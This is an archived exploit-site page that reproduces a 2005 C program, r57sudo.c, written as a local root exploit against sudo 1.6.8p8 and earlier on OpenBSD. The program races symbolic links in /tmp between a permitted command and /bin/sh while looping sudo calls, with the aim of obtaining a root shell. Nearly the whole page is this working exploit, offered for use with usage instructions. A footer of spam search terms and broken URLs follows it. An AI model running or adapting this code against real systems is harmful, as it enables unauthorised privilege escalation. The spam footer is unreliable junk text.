about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , Sudo <= 1.6.8p8 Pathname Validation Local Code Execution Exploit



2005-07-04 Sudo <= 1.6.8p8 Pathname Validation Local Code Execution Exploit
Rated as : Low Risk 

#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <sysexits.h> 
#include <sys/wait.h> 

#define SUDO "/usr/bin/sudo" 
#ifdef BUFSIZ 
#undef BUFSIZ 
#define BUFSIZ 128 
#endif 

/* 
ANY MODIFIED REPUBLISHING IS RESTRICTED 
OpenBSD sudo 1.3.1 - 1.6.8p local root exploit 
Tested under OpenBSD 3.6 sudo 1.6.7p5 
Vuln by OpenBSD errata, http://www.openbsd.org/errata.html 
(c)oded by __blf 2005 RusH Security Team, http://rst.void.ru 
Race condition in path name, can take a while to exploit 
Gr33tz: x97Rang, whice, rsh, MishaSt, Inck-Vizitor, BlackPrince 
Fck lamerz: Saint_I, nmalykh 
All rights reserved. 
ANY MODIFIED REPUBLISHING IS RESTRICTED 
*/ 

int main (int argc, char ** argv) 
{ 
pid_t pid; 
void * buffer; 
char * exec, * race, * path; 
if(argc != 3) 
{ 
fprintf(stderr, "r57sudo.c by __blf\n"); 
fprintf(stderr, "RusH Security Team\n"); 
fprintf(stderr, "Usage: %s <sudo full path command> <sudo
command>\n", 
argv[0]); 
fprintf(stderr, "e.g. ./r57sudo /bin/ls ls\n"); 
return EX_USAGE; 
} 
pid = fork(); 
if(pid == 0) 
{ 
while(1) 
{ 
exec = (char *)calloc(BUFSIZ, sizeof(char)); 
race = (char *)calloc(BUFSIZ, sizeof(char)); 
bzero(exec, sizeof(exec)); 
snprintf(exec, BUFSIZ, "ln -fs %s /tmp/%s", argv[1], argv[2]); 
system((char *)exec); 
bzero(race, sizeof(race)); 
snprintf(race, BUFSIZ, "rm /tmp/%s", argv[2]); 
system((char *)race); 
bzero(race, sizeof(race)); 
snprintf(race, BUFSIZ, "ln -fs /bin/sh /tmp/%s", argv[2]); 
system((char *)race); 
bzero(race, sizeof(race)); 
snprintf(race, BUFSIZ, "rm /tmp/%s", argv[2]); 
system((char *)race); 
} 
} 
if(pid > 0) 
{ 
while(1) 
{ 
path = (char *)calloc(BUFSIZ/2, sizeof(char)); 
snprintf(path, BUFSIZ/2, "%s /tmp/%s", SUDO, argv[2]); 
system((char *)path); 
} 
} 
} 
securitydot.net - 2005-07-04

Advertising

Copyright 2007, SecurityDot
Thu, 17 Dec 2009 05:16:13 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
global ann www.szqxnt ESMTP Exim wrold sex ugly girl index.php? Exploits I www.vi-c.n a011581/08 okijk news for C www.Porn36 www.tcjob. Crack hip FTP se/ www.tcjob. Crack Data php-nuke+2 www.pbxoa. www.dgkjh. www.df5.co for+thrish girl russi GNUMP3D invision s news for c www.jujiam slacker.ht news for c 2 step Dounlod www indan www.jndb.c Crack Data crack data girls with all cartoo SaniyaMirz www.happyd www.skf-fa news for c www.shygsy www.quickl www.360f.c news for C www.ynzql. Fotos de g www.slin8. mambo Remo http://lsy